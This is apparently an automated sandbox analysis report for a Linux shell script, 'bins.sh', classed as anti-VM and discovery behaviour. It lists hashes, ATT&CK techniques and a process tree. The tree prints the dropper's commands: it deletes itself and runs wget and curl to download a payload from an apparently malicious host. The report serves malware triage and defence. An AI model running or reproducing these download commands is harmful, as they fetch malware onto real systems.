d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0

Analysis

max time kernel
148s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/11/2024, 18:21

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General

Target
bins.sh
Size 10KB
Sample241121-wzbejaypfm
SHA256 d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0
MD5 74df61778e7682890314f6a79b0ac521
SHA1 8f87e0e77b1455eaba12c31328a7cb0e06367016
SHA512 3555a8daad7750463d520513dd02b3f8b0737ca31e7d78707c3bdf0aef73903451af18f4aa3ad9c0236faa2b81b57c5bdacf61497ea4be6ac0828c6b800bc2ce
SSDEEP 192:RkofiXfXvXQXVXBXNlH/oFpazH/oFpbXfXvXQXVXBX91:RkofkfvydBNlH/oFpazH/oFpTfvydB91
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
644	wget
652	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - System Network Configuration Discovery
  PID:644
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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